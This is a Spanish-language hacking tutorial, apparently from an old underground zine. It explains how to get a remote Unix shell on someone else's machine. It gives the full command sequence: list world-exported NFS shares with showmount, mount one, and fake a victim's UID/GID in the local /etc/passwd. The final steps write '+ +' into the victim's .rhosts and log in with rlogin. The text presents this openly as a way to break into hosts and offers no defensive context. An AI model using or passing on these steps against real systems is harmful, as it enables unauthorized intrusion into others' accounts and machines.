Conseguir Unix SHELLS via RPC


Todo lo que contaré, se tiene que hacer como user "root" sino no es posible usar todos los comandos necesarios.

Requisitos

  1. Linux (con las opciones de NFS soportadas en el kernel)
  2. Los programas mount , showmount , su , echo. ls , rlogin y el joe.
  3. Paciencia, mucha paciencia

Comienzo:

Para ver si un host Unix exporta directorios debemos usar el showmount de la siguiente forma: 

showmount -e maquina.que.quieres.hackear

Si da la cuasalidad que exporta algo, te saldrá una lista de este estilo:

ap0ka:~/# showmount -e tiburon.ns.net

Export list for tiburon.ns.net:

/hd3 lacoste.ns.net

/home/users (everyone)

/ 153.17.134.2

Lo que vemos, es una serie de directorios que permiten ser montados por otras maquinas. El primero, solo se puede montar desde " lacoste.ns.net " lo mismo que el tercero que solo se puede montar desde la ip " 153.17.134.2 ". Si probásemos de montar esos directorios nos denegaría el acceso.

Pero.. en el segundo directorio vemos que no hay un nombre de host, pero dice "(everyone)". Es decir, que cualquier host puede montar ese directorio. Pues eso es lo que vamos a aprovechar. Esa clase de directorios se usan mucho para instalaciones Linux vía NFS, donde dentro del directorio suele estar la distribución completa del Linux.

 

Conectamos

Una vez descubierta una máquina que exporte directorios "(everyone)", lo que tenemos que hacer lógicamente es motarla en nuestro HD en cualquier directorio vacío que tengamos de la siguiente manera. En el ejemplo, usare el directorio /mnt que básicamente, fue creado para montar discos o otros hosts.

ap0ka:~/# mount -nt nfs ip_de_la_maquina:directorio(everyone) /directorio_de_nuestro_ordenata.

O sea (representando el caso de arriba):

ap0ka:~/# mount -t nfs tiburon.ns.net:/home/users /mnt

Una vez hecho esto.. el directorio se habrá montado en nuestro directorio /mnt. Pues vamos al directorio y veamos que hay.

ap0ka:~/# cd /mnt
ap0ka:~/mnt# ls

pepe
raul
fina
profesores
gonzalez
biblio

ap0ka:~/mnt#

En este caso , pero no en todos, suele haber directorios de usuarios que usan esa máquina. Pues debemos fijarnos en los permisos de esos directorios para ver el GID y UID de cada user. Si no hay usuarios, intentemos profundizar en otros directorios que puedan haber, y intentar buscar siempre un directorio /home o /users que es donde mas posibilidades hay.

ap0ka:~/mnt/# ls -la

drwxr-x--x 22 pepe 501 1024 Feb 28 1996 pepe/
drwxr-xr-x 473 7999 590 8192 Nov 24 12:29 raul/
drwxr-x--x 23 fina 3011 2048 Feb 3 01:36 fina/
drwxr-x--x 22 7999 3004 1024 Feb 28 1996 profesores/
drwxr-xr-x 3049 gonzalez 3004 8192 Nov 24 12:29 gonzalez/
drwxr-xr-x 473 7999 sys 8192 Nov 24 12:29 biblio/

Una vez ya tenemos la lista de directorios con sus respectivos GID y UID, escojeremos uno de los users (el que nos apetezca) Pos por probar con uno cualquiera escojeré el user gonzalez para contaros tol mogollón.

 

Preparemos nuestro sistema.

Editamos nuestro /etc/passwd y creamos una cuenta del user gonzalez con el guid y uid de gonzalez en su máquina de esta forma.

user:X:GID:UID:lo_que_queramos:directorio_donde_lo_tenemos_montado:/bin/bash

o sea :

gonzalez:x:3049:3004:cerdo_pordiosero:/mnt/home/gonzalez:/bin/bash

ponemos " x " donde el password, Vale??

Cambiamos nuestro login por el de gonazlez con el comnado su:

ap0ka:~/# su gonzalez

ap0ka:~/$

Y podremos trabajar con el user gonzalez con sus mismos GID y UID.

Pues nos dirigimos al directorio gonzalez del /mnt/home , y conque tenemos el mismo gid y uid que el, el servidor remoto se cree que somos el usuario real y nos deja meter / escribir dentro lo que queramos. A eso yo lo llamaría todo un 10, pero.. solo metiendo cosas.. que diversión encuentro? Ninguna!. Pues a por la shell!! Conque el servidor remoto nos confunde con el user normal, y nuestro linux, se cree que es un directorio real de nuestra máquina, podemos usar otro famoso bug de las SHELLS UNIX, el del ".rhosts" para conectar con rlogin.

 

SHELL!!!

Nada mas nos queda usar el "echo" para meter / editar el .rhosts y meterle dentro el famoso " + + " que deja entrar en la máquina desde cuaquier host.

ap0ka:/mnt/home/gonzalez$ echo + + > .rhosts

Volvemos a nuestro estado normal de SuperUsuario (root) y ya podemos desmontar el directorio:

ap0ka:/mnt$ exit
ap0ka:/mnt# cd
ap0ka:~/#
ap0ka:~/# rlogin -l gonzalez tiburon.ns.net